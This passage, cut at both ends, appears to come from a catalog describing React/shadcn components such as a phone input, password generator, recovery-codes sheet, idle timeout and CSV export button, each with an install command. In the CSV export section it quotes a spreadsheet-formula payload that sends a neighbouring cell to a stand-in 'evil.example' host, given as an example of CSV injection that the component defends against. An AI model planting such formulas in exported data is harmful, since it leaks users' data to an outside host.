This fills that gap and exports the missing line between them. The fact the whole API is shaped around: there is no list of languages to read. Intl.supportedValuesOf answers for calendars, collations, currencies, numbering systems, time zones and units, and throws a RangeError for "language", "locale", "region" and "script" — unlike pulld's country-select and currency-select, which read the world's list at runtime. That absence is the right shape anyway, because a UI language field offers what you have actually translated, not the world's eight thousand languages: it offers the directories in your locales/ folder. So `languages` is the main prop — `languages={Object.keys(messages)}` — with a documented default of forty-one common tags so it renders something sensible on install. Every row leads with the endonym, the language naming itself, from Intl.DisplayNames(tag).of(tag). That is the one thing a hand-written language picker gets wrong, and it is not a nicety: the person opening this control is very often someone who cannot read the page it is on — that is why they opened it — so a list that says "Japanese" is no help to them and a list that says 日本語 is. The name in the page's language sits beside it for whoever is choosing on someone else's behalf, support staff setting a customer's locale or an admin filling in a seat, and disappears when it would only repeat the endonym. Tags, not bare ISO 639 codes, because a tag is what a locale directory is called: pt-BR and pt-PT are two shipped translations and the runtime names both ("Brazilian Portuguese", "European Portuguese"), zh-Hans is "Simplified Chinese", es-419 is "Latin American Spanish", and in Japanese the same call gives「ポルトガル語 (ブラジル)」. Right-to-left is line-drawn on purpose. Each row is marked with lang and dir, so a screen reader pronounces 한국어 with a Korean voice instead of spelling it out and العربية is laid out correctly inside a list that is not — but the component does not touch your document, because turning a chosen language into an RTL page is a decision about the whole tree. getLanguageDirection(tag) is exported so the two lines that do are yours (`document.documentElement.lang = tag; document.documentElement.dir = getLanguageDirection(tag)`), it is what you feed shadcn's own direction item, and it knows more than Arabic and Hebrew: Persian, Urdu, Pashto, Sorani Kurdish, Yiddish, Divehi, Sindhi and Uyghur are right-to-left too, while Kurmanji Kurdish and Azerbaijani are not. A tag the runtime cannot name is dropped rather than drawn raw — and the rule its sibling pickers use is not enough here, because Intl names "xx-US" as "xx (United States)", so the language subtag is checked as well; "pt_BR", the POSIX spelling that Intl rejects outright, and tags carrying a -u- extension go the same way. The filter reads four faces, because four different people type into it: the endonym (someone looking for their own language), the name in the page's language (someone choosing for them), the English name (typed constantly on non-English sites, because it is what the documentation says), and the tag itself (the developer, who has "pt-BR" in their head because it is the name of a directory). An exact tag wins outright, so "id" answers with Indonesian rather than Ido; a partial one finds a family, so "pt" brings both Portuguese translations and "zh" both Chinese scripts; folding strips accents and punctuation, so "cestina" finds čeština and 日本 finds 日本語; and a query that folds away to nothing, like "()", filters instead of quietly showing every row. Sorted through Intl.Collator by what the rows actually say, which groups the list by script and lets the reader's own collation decide where their script lands. The trigger is labelled with the endonym, and because that label does not depend on who is reading, it renders correctly on the server and never flashes a bare tag through hydration the way a name in the reader's language has to. A real combobox, not a styled div: the trigger is a type="button" with role="combobox" and aria-expanded, the panel is a listbox driven by aria-activedescendant, arrow keys, Home, End, Enter and Escape all work, the highlight scrolls itself into view, opening a field that already says 日本語 starts on 日本語, and an outside press closes it. Works controlled (`value` + `onValueChange`) or uncontrolled (`defaultValue`), and always emits the caller's own tag, character for character — never canonicalised, because that string is a key into your translations. `name` adds a hidden input so it submits with a native form; a stored tag outside a narrowed `languages` is still named rather than reading as "nothing chosen"; `priority` pins the two or three languages most of your readers use above the rest; `tags` turns off the tag column; and getLanguageName(), getLanguageEndonym() and getLanguageDirection() are exported for the rest of the page. Styled entirely with shadcn tokens (input, ring, accent, popover, muted-foreground), so it follows light and dark mode, and it ships zero dependencies — no locale-data package, no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/language-select.json
Japan
+81901 234 5678
+819012345678

Phone Input

composes country-select

An international phone number field: a searchable country picker, that country's calling code shown as a live prefix, and one E.164 string ("+819012345678") coming back out. Reach for it wherever a form asks for a number someone can actually be reached on: sign-up and onboarding; two-factor authentication and SMS one-time codes; WhatsApp, SMS and voice notification preferences; shipping, billing and delivery contact details; the callback number on a support or contact form; restaurant, clinic, salon and appointment booking; driver, courier and rider contact on a marketplace; the phone row on a CRM or address-book record; KYC and identity verification; account recovery; and the "mobile" field in profile, account and organisation settings. Common asks it answers: "phone input", "phone number input react", "international phone input", "phone input with country code", "country code selector phone", "tel input component", "E.164 input", "shadcn phone input", "shadcn phone number field", "react-phone-number-input alternative", "intl-tel-input react", "phone field with flags", "dial code dropdown", "mobile number input", "international telephone input shadcn", "phone number formatting as you type". Official shadcn/ui has nothing for telephones — not a phone item, not a `type="tel"` anywhere in its sixty-three components, no calling codes and no country data — so the whole of this is on you, and the data is where hand-rolled versions go wrong. It is also the one field in this family that cannot read its data out of the runtime: `Intl.supportedValuesOf` rejects every phone-shaped key, `Intl.Locale` exposes no telephony property and `Intl.DisplayNames` names regions but not calling codes, so no browser knows that Japan is +81. This component therefore ships the table — 246 countries, every ISO 3166-1 country that has an assigned calling code, cross-checked between two independent sources — and carrying it is a smaller liability than it looks, because calling codes are close to frozen: the last new one was South Sudan's +211 in 2011. The table holds calling codes and never a calling code plus an area code, which is the distinction hand-rolled fields miss: the Bahamas is +1, not +1-242, because 242 belongs to the ten-digit national number a Bahamian dials. Twenty-five countries share +1 and four share +44, so the country is kept as its own piece of state and never inferred back out of the digits — a stored "+12425550100" cannot say whether its owner is in Nassau or Nevada, and `countryName` submits the answer alongside the number so the field comes back up on the country the person actually picked. What it does not do is as deliberate as what it does: it assembles, caps the result at E.164's fifteen digits and spaces them for reading, and it never claims a number is valid. Per-country validity is a rule for 246 countries and the library that knows them is larger than this entire registry, so it is left to your submit handler rather than faked — a field that pretends otherwise fails exactly the people whose country it got wrong. Typing is handled properly rather than approximately: digits group as you type, the caret is tracked in digits rather than in character offsets so a number stays correctable in the middle instead of only from the end, Backspace and Delete remove a digit rather than a separator that was never typed (the single most common complaint about masked inputs), pasting "+81 90-1234-5678" moves the country and strips the code instead of doubling it, and `format` takes a mask like "## #### ####" for a form that only ever collects one country's numbers. Controlled or uncontrolled, and correct in both: `value` + `onValueChange` for the number, `country` + `onCountryChange` for the country, `defaultValue`/`defaultCountry` for neither. The digits stay in local state while the value round-trips, so a parent that debounces, validates or is simply slow does not erase what was just typed — the failure that makes most hand-rolled controlled phone fields impossible to type into. It is a real composite control, not a styled div: a `type="tel"` input with `inputMode="tel"` and `autoComplete="tel-national"`, the calling code wired into the input's `aria-describedby` so it is announced rather than being visual context a screen reader never reaches, the country picker a full `role="combobox"` listbox with search, arrow keys and `aria-activedescendant`, and a `focus-within` ring around the number half. `countries` narrows it to where you operate, `priority` pins the two or three countries most sign-ups come from, `flags` adds the flag emoji (off by default — Windows ships no flag glyphs), and `getDialCode()`, `splitPhoneNumber()`, `toE164()`, `formatPhoneDigits()` and `getRegionCountry()` are exported so a confirmation screen, an SMS log or an admin table spells the same number the same way. Styled entirely with shadcn tokens (input, ring, popover, muted-foreground), so it follows light and dark mode, and it ships zero npm dependencies — no libphonenumber, no country-data package, no icon package.

npx shadcn@latest add https://pulld.pages.dev/r/phone-input.json
q7#Kp2vR
20 chars · 118 bits

Password Generator

composes copy-button

A password generator: a read-only field holding the generated password, a Generate control, a copy button, and switches for length, character classes and look-alike exclusion. Reach for it wherever a screen offers to invent a credential rather than ask for one — the "Suggest a strong password" affordance beside a sign-up, registration or change-password field, an admin creating a user or issuing a temporary password for a new employee, a settings screen minting an API key, access token, client secret or webhook signing key, a service-account or database credential during setup, a Wi-Fi or router passphrase printed for someone to type on another device, and any rotate-credentials or reset flow. It is the third piece of a set and does the opposite job to the other two: password-input is the field a person types their own password into, password-strength scores a password a person chose, and this one produces a password nobody chose. shadcn/ui ships no generator — there is no crypto call anywhere in its registry — so an agent asked for one writes it inline, and inline is where it goes wrong in ways the output never shows. Math.random is a fast PRNG whose state is recoverable from its own output, so passwords built on it are not unguessable while looking exactly as random; folding a random number into the alphabet with % tilts the result toward the low characters; and satisfying "must contain a digit" by overwriting a fixed position tells an attacker where the digit is. This draws from crypto.getRandomValues, redraws the values that would bias the fold instead of folding them, and guarantees each enabled class by drawing one character per class and then shuffling with a Fisher-Yates pass whose indices come from the same unbiased source, so no position is special. It reports entropy in bits, which is honest arithmetic here precisely because the draw really is uniform. The first password is drawn in an effect rather than during render, so a server-rendered page does not hydrate with a mismatch — the failure that makes a generator look broken in a Next.js app while working perfectly in isolation. The exported generatePassword, buildPools and entropyBits work on their own for seeding, CLI use or tests. Look-alike characters (0O1lI) can be excluded for passwords read off one screen and typed into another. Every colour is a shadcn token so it follows light and dark, and the live region announces that a new password exists without ever speaking the password itself.

npx shadcn@latest add https://pulld.pages.dev/r/password-generator.json
OfflineRetry

Network Status

An offline banner that is right about being offline: it tells someone the page has lost the network, and — the harder half — only tells them it is back once that has actually been verified. Reach for it wherever losing the connection loses work or misleads the reader: a long form, an editor or a checkout someone is mid-way through; a dashboard, wallboard or monitoring view whose numbers stop being true the moment the feed dies; a chat, inbox or collaborative document where silence reads as "nobody is talking"; a PWA, field app or point-of-sale used on a phone that drifts in and out of coverage; and any app that queues writes to flush on reconnect. Common asks it answers: "offline banner", "offline detection react", "network status component", "useOnline hook", "useNetworkStatus", "detect offline react", "navigator.onLine react", "connection lost banner", "reconnecting indicator", "internet connection detector", "react-detect-offline alternative", "shadcn offline banner", "no internet message component", "online offline event react", "captive portal detection", "heartbeat ping component". The reason to install one rather than write it is that the three-line version everyone writes is wrong, and wrong in the direction that matters. navigator.onLine does not report whether the internet works; it reports whether the machine has a network interface that is up. A laptop joined to a café or hotel access point whose portal has not been logged into reads online. So does one on Wi-Fi whose upstream has died, one behind a captive portal that answers for every server with its own login page, and one where DNS alone has stopped resolving. Every one of those is true while nothing whatsoever loads — so a banner built on that flag stays hidden through precisely the outages people complain about, and the window.addEventListener("online") that clears it fires when an interface came up, not when anything can be reached. The false direction is the trustworthy one: the browser is not wrong about having no interface at all. So this component believes false immediately and treats true as a claim to be checked, by actually asking the network for something. What that costs is kept honest, because a component that invents a request every few seconds forever is one people rip out. Mount does not probe — the page in front of the user arrived over the very network in question, and its own load is the freshest evidence there is. The online event starts a probe instead of being believed, and only the probe's answer clears the banner. The offline event lands immediately, with nothing to wait for. While unreachable, probes back off exponentially with jitter, because everyone whose access point rebooted starts their backoff on the same tick and would otherwise arrive back together at the worst possible moment — and they stop entirely when the interface itself is down, since there is nothing to ask and the event will say when there is. A hidden tab probes nothing at all and restarts on visibilitychange, which is also what catches the laptop that slept and woke up on a different network. Steady polling while everything is fine is off by default and there when a wallboard needs it. The probe itself is two details a hand-rolled fetch misses. It refuses to follow redirects, which is what turns a captive portal's 302-to-its-own-login-page back into the failure it is rather than a perfectly good 200. And it counts any HTTP response as reachable, a 404 or a 502 included: the question is whether packets get to a server and back, and a 404 answers it as well as a 200 does — which is why the default /favicon.ico is safe on a site that does not have one, and why a version checking res.ok reports such a site as permanently offline. A deadline is enforced too, because a black-holed connection does not fail, it hangs. Official shadcn/ui has nothing here: no offline, online or network item, and navigator.onLine, the online/offline events and any form of reachability check appear nowhere in its sixty-three components. Within pulld it is the detector, not another notifier — toast is the right home for "it worked / it failed" messages your code decides to send, while this one works out, on its own, whether the network is actually there. useNetworkStatus() is exported for a bar of your own design, or for pausing polling, disabling a submit button and flushing a queue on reconnect, and it hands back a check() to call the moment one of your own requests fails — a far better signal than any poll. checkReachable() and nextProbeDelay() are exported too. The wording sits in an always-mounted polite live region, because a live region inserted together with its text is not reliably announced and the banner would be silent for exactly the people who cannot see it. Every colour is a shadcn token, so it follows light and dark, and the whole thing is one file.

npx shadcn@latest add https://pulld.pages.dev/r/network-status.json
7f2a-91c4b3e8-45dac1d9-77abe604-2b3f
3 of 4 unused

Recovery Codes

composes copy-button

The sheet of two-factor backup codes, with the three ways off the screen that people actually use: copy, download as a .txt, and print. Reach for it wherever an account hands someone a set of one-time codes to keep — finishing two-factor or MFA enrolment after scanning the authenticator QR, the "View recovery codes" panel in a security settings page, regenerating a set after a lost phone, passkey and WebAuthn fallback codes, seed or backup phrases handed over once, and the onboarding step that will not let you continue until you confirm you have saved them. Common asks it answers: "recovery codes component", "backup codes UI", "2FA recovery codes react", "MFA backup codes screen", "one-time codes list", "download recovery codes txt", "print backup codes", "copy recovery codes", "GitHub-style recovery codes", "show recovery codes once", "regenerate backup codes UI", "shadcn recovery codes", "strike through used backup code". Official shadcn/ui has nothing for it — no recovery, backup-code, download or print item anywhere in its sixty-odd components — so an agent asked for this screen writes it inline, and the inline version is where the whole thing quietly stops working. Print is the worst of it. Everyone writes onClick={window.print()}, which prints the page rather than the codes: the nav, the sidebar and the rest of the settings form come along, and because a freshly issued set is nearly always shown inside a scrolling dialog, the printed sheet is clipped to whatever part of that dialog happened to be scrolled into view. Half the codes are missing, on paper that looks finished, and nobody finds out until the day they need them. This prints a document of its own instead — a titled, dated sheet with the codes laid out so none of them straddle a page break — through a hidden iframe that is 0x0 rather than display:none (a frame that is not displayed prints a blank page), whose srcdoc is set before insertion so the only load event is the sheet's rather than the initial about:blank, and which is torn down on afterprint rather than on the next line, because print() blocks in Chrome and Firefox but returns immediately in Safari, where removing the frame would cancel a dialog still open. The sheet is stated in black on white on purpose: browsers drop background colours when printing but keep text colours, so a dark-mode card sent to a printer comes out as pale grey on white and is close to unreadable. The download half has its own two: the anchor is put into the document before it is clicked, because Firefox ignores a click on an element outside the tree, and the object URL is revoked afterwards — an un-revoked one keeps its blob, which is to say the recovery codes, alive and addressable for the life of the document — but revoked on a later task, since releasing it in the click's own task cancels the download. The file is written with CRLF endings so Windows editors do not render it as a single line; the clipboard gets plain LF and the bare codes with no heading, because it is being pasted into a password manager's notes field. Spent codes are struck through and, because a line through text is a paint decision that reaches nobody using a screen reader, also labelled in words — and they are left out of every export, since a saved file padded with dead codes is the right length and so is worse than no file at all; the header says how many are left whenever any have been spent. role="list" is put back by hand because Safari drops list semantics from a list-style-none <ul>, which would take away the one number that matters here. Pass codes as plain strings for a fresh set or as {code, used} for a set being reviewed later; onExport fires on copy, download or print, which is the signal to unlock your "I have saved these" button. normalizeCodes, formatCodesText, buildPrintDocument, downloadTextFile and printDocument are exported for reuse. Nothing renders a date, so it server-renders without a hydration mismatch — the timestamp is taken when a button is pressed. Composes pulld copy-button; every colour is a shadcn token, so it follows light and dark.

npx shadcn@latest add https://pulld.pages.dev/r/recovery-codes.json
Leave without saving?
Your changes will be lost.
KeepDiscard

Unsaved Changes Guard

A leave guard for a form with unsaved changes: it holds the departure, asks whether the work should be discarded, and lets it through only when the answer is yes. Reach for it wherever a screen holds work that only exists in the browser: a long or multi-step form, a profile or settings page, a post, comment or article editor, an invoice, order or booking being filled in, a canvas, diagram or query builder, an upload that has been configured but not started, and any modal a user can wander out of. Common asks it answers: "unsaved changes warning react", "are you sure you want to leave this page", "beforeunload react hook", "useBeforeUnload", "prompt before leaving page react", "block navigation react router", "useBlocker alternative", "next.js unsaved changes warning", "next.js prevent navigation", "confirm before leaving form", "dirty form guard", "warn user before closing tab", "onbeforeunload not working", "react router prompt replacement", "shadcn unsaved changes dialog", "discard changes dialog", "route change confirmation react". The reason to install one rather than write four lines is that the four lines guard the wrong door. beforeunload fires when the browser unloads the document — closing the tab, reloading, typing a new URL, following a link off the site. Clicking a next/link or a React Router Link is none of those: the document stays exactly where it is, the router swaps what is rendered, and the half-filled form is gone without the browser ever being consulted. So the guard everyone ships protects the tab button and lets every single in-app route change walk straight past it, which is the way people actually lose the work. beforeunload is not straightforward on its own terms either. The spec settled on preventDefault() while older engines only look at returnValue having been set, so a handler that does one of the two is silently dead in some browsers. Custom wording is discarded by every current browser, so the message you actually control is the in-app one. And nothing fires at all on a page the user has never clicked or typed into, because browsers require sticky activation before they will interrupt a departure. This component does the browser half correctly and then covers the two departures it cannot see, each with the mechanism that is right for it. Link clicks are caught by a capture-phase listener on document, which runs before React's root listener and therefore before any router's handler; both preventDefault() and stopPropagation() are called, because routers differ on whether they check defaultPrevented and stopping the event short of the React root is true of all of them. Answering "discard" replays the original click on the same anchor, so the router handles it exactly as it would have — no full page reload, no reimplementation of routing. Back and forward are caught with the Navigation API's navigate event, the only thing in a browser that can actually refuse a traversal: popstate is announced after the history entry has already changed, and the usual workaround of pushing a sentinel entry to have something to pop leaves a duplicate entry and a back press that does nothing for the rest of the session. That trade is refused here rather than hidden, so the reach is stated plainly: where window.navigation is missing, back is not intercepted, and the way to cover it — along with navigation your own code starts — is the guard prop, which takes a blocker from your router (React Router's useBlocker drops straight in) and stands the built-in interception down while keeping the browser-level warning. Just as deliberate is what is never held: a router.push the app itself makes, because the redirect after a successful save is exactly that and blocking it traps someone on a form they have already submitted; cross-origin links, which are a real unload and which beforeunload already covers; hash links, downloads, target="_blank", and cmd, ctrl, shift or middle clicks, every one of which leaves this page where it is. Official shadcn/ui has nothing in this area — beforeunload, unsaved, dirty and blocker appear in none of its sixty-three components, and it ships no navigation blocking of any kind. Within pulld it is distinct from confirm-button, which guards a destructive action somebody deliberately clicked; this one interrupts a departure nobody thought of as destructive. It pairs with save-status and form-error-summary on the same screen. The dialog is an alertdialog because it interrupts rather than being asked for, and focus lands on "keep editing" rather than on discard, so an Enter press already on its way to the page cannot answer with the destructive choice; Escape does the same as keep editing, and there is no third way out that would leave the navigation in limbo. Once a departure has been answered the browser stops asking the same question, and starts again the moment the user touches the page still holding unsaved work. useUnsavedChanges() is exported for a dialog of your own, useBeforeUnload() for the browser half alone, every colour is a shadcn token so it follows light and dark, and the whole thing is one file with no dependency beyond the icon.

npx shadcn@latest add https://pulld.pages.dev/r/unsaved-changes-guard.json
nameamountAda1,240Lin-320Ravi980
Export CSV

CSV Export Button

A button that turns rows into a CSV file the browser saves — with the two things the inline version gets wrong already handled: the spreadsheet formulas hiding in your data, and the fact that the page is usually only holding one page of the table. Reach for it wherever a table, list or report has to leave the app: the Export button on an admin or data table, a billing, invoice or transactions history, an analytics or reporting screen, a contacts, subscribers, leads or members list, an orders or inventory export, an audit or activity log, a survey's responses, a time-tracking or payroll report, the download half of a GDPR or account data request, and any "download results" next to a search or filter. Common asks it answers: "export to CSV react", "csv export button", "download csv button react", "export table to csv", "react download csv from json", "json to csv frontend", "client-side csv export", "react-csv alternative", "CSVLink alternative", "papaparse unparse alternative", "export data grid to csv", "csv download without server", "excel export react", "csv utf-8 excel garbled", "csv 文字化け excel", "csv injection prevention", "escape csv formula", "shadcn export button", "shadcn csv". Official shadcn/ui has nothing here — csv, blob, createObjectURL and download appear in none of its sixty-odd components — so an agent asked for an export writes it inline, and the inline version is four lines that are wrong in ways nobody sees on the machine that wrote them. The first is a security bug, not a formatting one. A cell whose text starts with =, +, - or @ is a formula to Excel, Sheets and LibreOffice, so a value that came from a user — a display name, a note field, a ticket subject — executes on the machine of whoever opens the export; =HYPERLINK("https://evil.example/?d="&A1,"Click") quietly ships the row beside it, and the WEBSERVICE, IMPORTXML and DDE families have been used the same way for years. It is filed as CSV injection, and the tempting fix does not work: a spreadsheet strips the quotes while parsing and evaluates what is left, so "=1+1" is still a formula and the field itself has to change. Every cell is prefixed with the text marker OWASP recommends — including the tab and carriage return that are stripped on the way in and leave the next character at the front of the cell, and including the headers, which are cells too. The over-correction is handled as well: -42 also starts with a dangerous character, and a version that prefixes it turns every negative number into text so the column stops adding up, so anything that reads as a plain number is left exactly as it is, while +44 20 7946 0000 is prefixed — correct twice over, since Excel would otherwise show #NAME? where the phone number should be. The second failure is quieter: the inline version exports the array the page happens to hold, which on any paginated screen is one page of it, so "Export all" writes 50 of 12,000 rows and looks like it worked. That is why rows also takes a function — return the full set, or a promise for a fetch of it, and the button shows a spinner, goes aria-busy and refuses the second press, which is the double-click that otherwise downloads the file twice or runs the expensive query twice. The rest is the detail a four-line version has no room for. Values containing a comma, a quote or a newline are quoted per RFC 4180 with inner quotes doubled — the newline being the one that splits a record in two and lands every following row one column over, a file that opens fine and is wrong from row 400 down. Records are joined with CRLF, and that is not an option, because making it one is how the file ends up with the LF endings some Windows tooling renders as a single line. The download carries a UTF-8 BOM, because Excel does not detect UTF-8 in a CSV and falls back to the machine's legacy code page — without it every accent, umlaut, Japanese character and emoji arrives as mojibake — and the BOM is put in the file's bytes rather than in the returned text, where an invisible U+FEFF glued to the first header would break a comparison nobody can see. The anchor is inserted into the document before it is clicked, since Firefox ignores a click on an element outside the tree, and the object URL is revoked afterwards but on a later task: an un-revoked one pins the whole exported table in memory for the life of the document, while revoking inside the click's own task cancels the download it was created for. Columns are derived from the union of keys across every row rather than off row zero, so a field only the later rows carry is not silently dropped; declare them instead as a bare property name, or as {header, value} to rename, reorder or compute. Dates become ISO 8601 because a file is read later, elsewhere, by someone whose locale nobody here knows; NaN and Infinity are written empty rather than as words that would break a column's total; and delimiter, header line, sanitising and cell formatting are all overridable. Empty results with no declared columns download nothing and say so, rather than handing over a zero-byte file that reads as a broken button. Every outcome is announced through a polite live region and then cleared, so exporting twice is announced twice — an icon swap is not an event. toCsv, sanitizeCsvCell, escapeCsvCell, formatCsvValue, resolveColumns and downloadCsvFile are exported for reuse. It is the mirror of pulld file-dropzone and upload-list, which take a file in. One file, two lucide icons, no CSV library; every colour is a shadcn token, so it follows light and dark.

npx shadcn@latest add https://pulld.pages.dev/r/csv-export-button.json
Still there?
1:59
Sign outStay

Idle Timeout

An inactivity timeout with a warning before it fires: it watches for the user going away, puts up a "you will be signed out in 1:59" dialog with a live countdown, lets them stay with one click, and keeps every open tab agreeing about when the session actually ends. Reach for it on any screen behind a session that expires on its own: banking, brokerage and payments, health records and patient portals, insurance and claims, payroll and HR, government and tax filing, admin consoles, CRM and EHR, anything under a PCI DSS, HIPAA, SOC 2 or internal policy that mandates an idle logout, and any internal tool where a shared or unattended machine is a real possibility. Common asks it answers: "react idle timer", "react-idle-timer alternative", "session timeout warning react", "auto logout after inactivity react", "inactivity timeout react hook", "detect user inactivity react", "useIdleTimeout", "warn user before session expires", "session expiry countdown dialog", "keep me signed in prompt", "next.js auto logout", "idle detection react", "cross tab session timeout", "BroadcastChannel session sync", "logout user after 15 minutes of inactivity", "shadcn session timeout dialog", "stay signed in modal". The reason to install one rather than write a setInterval is that counting elapsed time is the wrong shape for this problem, and it fails in the exact situation the component exists for. A browser throttles a background tab's timers to once a minute or slower, so a counter that decrements per tick falls behind real time by however long the tab was hidden — and it falls behind in the dangerous direction, reading high. The dialog claims two minutes of grace when the session died ninety seconds ago, and the user clicks "stay signed in" on a session the server has already dropped. Everything here derives from one timestamp instead: when the person was last seen. Nothing is accumulated, so nothing can drift; the state is read off the clock at every wake, whenever the tab becomes visible again, on focus, and on a bfcache restore, which is what turns "the counter was frozen while you were away" into "the counter was right all along". Timers are also never armed for the whole wait, because a delay over 2**31-1 ms silently wraps and fires immediately — a session measured in days would sign the user out on page load — so the wake is capped and the deadline re-read, which covers the overflow, a laptop waking from sleep, and an NTP correction with one rule. The second thing a page-local timer cannot do is see the other tabs. Someone with the app open in three tabs is working in one of them; the other two observe no events at all and each will announce, on its own authority, that the session has expired — so whichever tab they return to has signed them out of work that was never idle. Activity is therefore broadcast, over BroadcastChannel where it exists and a localStorage write where it does not, since the storage event fires in the other tabs, which is exactly the audience. What travels is the moment a person was last seen rather than a computed deadline, because two tabs may be configured with different timeouts and the sighting is the fact; the merge rule is to take the later one, since a tab that saw activity saw a person while a tab that saw none is only reporting that nothing happened in front of it. Signing out is broadcast the same way, so one tab ending the session ends it everywhere. The broadcast is throttled: a message per mousemove would be a storm across every open tab, and being a few seconds stale about a timeout measured in minutes changes nothing. Passive activity deliberately does not dismiss the warning. Once the prompt is up, only a real answer puts the deadline back — a dialog that a mouse move clears cannot be read at all, because reaching for its button clears it, and the question the warning asks is whether a person is still there, which a trackpad brushed by a sleeve does not answer. Before the prompt appears, every configured event counts, listened for passively and in the capture phase so that a component calling stopPropagation on its own pointer events does not make its part of the page look deserted, and so that scrolling inside a pane — a scroll event does not bubble — still counts as being alive. What it does not claim to be is enforcement. Hidden-tab timers are throttled, a machine asleep through the deadline signs out when it wakes rather than on time, and any of it can be turned off from a console. The server's session lifetime is the security boundary; this is the courtesy that stops people losing work to it, and the two are meant to be kept in step. Official shadcn/ui has nothing in this area: across all sixty-three components, inactivity, auto-logout, session, BroadcastChannel, visibilitychange, localStorage, expiry, heartbeat and deadline are all zero hits — the three idle matches belong to attachment's upload state and the timeout matches to toast's own dismiss queue, neither of which is a session. Within pulld it is the counterpart to duration-input, which is the control for configuring an auto-logout window: the number that component produces is the timeoutMs this one counts down. It is distinct from countdown, which runs to a fixed public moment like a sale ending, where this deadline moves every time the user does something; from network-status, which also re-reads on visibilitychange but to re-probe a connection; and from unsaved-changes-guard, which interrupts a departure the user chose, where this one interrupts an absence nobody chose. The dialog is an alertdialog because it interrupts rather than being asked for, and focus lands on "stay signed in" rather than on "sign out now", so an Enter press already on its way to the page cannot end the session; Escape does the same as staying. The countdown is a role="timer" with live updates off, and a separate polite region carries the time at widening intervals — every minute, then thirty and ten seconds, then each of the final five — because a per-second announcement is a barrier rather than an aid, each one cutting off the last. useIdleTimeout() is exported for a dialog of your own, along with the small pure pieces it is built from, every colour is a shadcn token so it follows light and dark, and the whole thing is one file with no dependency beyond the icon.

npx shadcn@latest add https://pulld.pages.dev/r/idle-timeout.json
👍🏽
−4

Character Counter

The "42 left" that sits under a field with a limit — a bio, a post box, a product description, an SMS body, a subject line — counting the characters a person can actually see rather than the code units the string happens to be made of, and showing the limit being crossed instead of quietly cutting the text off. Reach for it anywhere a length cap is real: a profile bio, headline or status; a comment, review, reply or chat composer; a post or tweet-style box; a product title and description; a support ticket, feedback or contact form; an SMS or push notification body; an email subject line; a meta description, OG description or alt text; a commit message or release note; a job posting, listing or classified; a survey free-text answer; and any textarea in front of a column that will reject what is too long. Common asks it answers: "character counter react", "textarea character count", "characters remaining react", "react character limit component", "maxlength counter react", "count remaining characters", "twitter style character counter", "shadcn character counter", "shadcn textarea character count", "string length wrong with emoji", "emoji counts as 2 characters javascript", "javascript count emoji as one character", "grapheme count javascript", "Intl.Segmenter count characters", "count unicode characters correctly", "utf8 byte length of a string", "varchar length frontend validation", "accessible character counter", "aria-live character count screen reader", "character count announced every keystroke", "文字数カウンター react", "絵文字 文字数 カウント". Official shadcn/ui has nothing for this: across its sixty-three components maxLength, charCount, Segmenter and codePoint are all zero hits, textarea is an eighteen-line bare element, and the two length matches inside field are errors.length in FieldError — so an agent asked for a counter writes value.length inline, and value.length is wrong for everyone whose text is not plain Latin. JavaScript counts UTF-16 code units, so one emoji is 2, a flag is 4, a thumbs-up with a skin tone is 4, and a family is 8. The writer is charged four characters for one glyph, and when they delete it the remaining count jumps back by four — which reads as a bug in the box, because it is one. Worse, the number on screen and the number the server enforces are then counted by different rules with nothing to warn you: Postgres varchar(n) and MySQL utf8mb4 count code points, a byte-bounded column counts bytes, and the field says "3 characters left" onto a save that comes back rejected. So the unit is a prop — grapheme by default, because that is the number a person would give you, with codePoint, utf16 and utf8 for the three things a back end usually means — and there is a crlfNewlines option for the mismatch nobody looks for, since a textarea reports every line break as \n while a submitted form normalises it to \r\n, leaving a ten-line post four characters longer on the wire than in the box. The second failure is the fix everyone reaches for first. Putting maxLength on the field looks like enforcement and behaves like a trapdoor: paste 400 characters into a 280 field and the browser keeps the first 280 and discards the rest with no event, no error and nothing on screen — the writer sees a full box, no complaint, and a sentence that ends mid-word, and what is missing is invisible precisely because it is missing. This component never sets it. The count goes negative and turns destructive, over is true, aria-invalid goes on the field, and refusing the save becomes one decision you make in the one place that already knows why. truncateToCount is exported for the times trimming really is the answer — a preview string, an OG description — and it walks grapheme clusters, so a UTF-16 or byte limit still lands on a boundary a person would recognise rather than leaving half a surrogate pair behind. Accessibility is the other half, and it is where hand-rolled counters do the most damage. The reflex is to wrap the number in aria-live, which turns every keystroke into an interruption; because a screen reader queues what it is told, the count ends up trailing several characters behind the typing while the letters themselves go unheard, and the field becomes unusable by the people the live region was added for. Here the counter is tied to the field with aria-describedby, read once on focus and silent after, and a separate polite region speaks only when the value crosses between comfortable, close to the limit and past it — three announcements in the life of a field, each of them news, each carrying the count at that moment. It stays quiet on mount too, so opening an existing bio that is already over does not talk at someone who has not typed anything yet. The visible number is aria-hidden so the description read on focus is "42 characters remaining" rather than a bare "42", the digits are tabular so the counter does not twitch sideways while you type, and every label is an overridable function so it translates. countChars, truncateToCount, charCountStatus, charCountMessage and the useCharCounter hook are all exported, so the same count that draws the counter can disable the submit button and back a zod refine instead of three places disagreeing. Within pulld it is the piece that goes under autosize-textarea, which is the field itself; it shares its Segmenter discipline with middle-truncate, which solves the same UTF-16 problem on the display side; and it follows the same describedby-plus-band-announcement pattern as password-strength, the other meter that lives under an input. One file, no dependencies at all — not even an icon — and every colour is a shadcn token, so it follows light and dark.

npx shadcn@latest add https://pulld.pages.dev/r/char-counter.json

Scroll Shadow

A scrolling box whose edges fade out while there is more content past them, and stop fading the moment there is not — the cue that tells a reader a wide table has columns off to the right, or that a panel continues below the fold. Reach for it wherever a box scrolls inside a page that does not: a wide data table or admin grid seen on a laptop or a phone, a horizontal tab strip, filter-chip row or category rail, a card carousel, a code block or build log that scrolls sideways, a long terms-and-conditions or changelog panel, the body of a modal or drawer, a sidebar nav taller than the viewport, a chat or comment pane, a dashboard table inside a card, and any responsive table that overflows on small screens. Common asks it answers: "scroll shadow react", "fade edges of scrollable div", "shadow when content overflows", "indicate more content horizontally", "horizontal scroll indicator for table", "responsive table overflow indicator mobile", "detect if an element is scrollable react", "check if a div has overflow javascript", "is content overflowing react hook", "scrollWidth vs clientWidth react", "useOverflow hook", "show a gradient only when scrollable", "fade out overflow tailwind", "mask-image scroll fade", "NextUI ScrollShadow alternative", "Mantine ScrollArea shadow alternative", "shadcn scroll area shadow", "shadcn horizontal scroll fade", "scroll hint react", "scrollable region focusable axe", "keyboard scroll a div", "スクロールできることを示す影". The thing being solved is that overflow: auto will not tell you whether it is overflowing. A scrollable box looks exactly like a box that ends there, and the browser offers no hook for the difference — there is no :overflowing selector, no event, nothing in CSS at all. So a 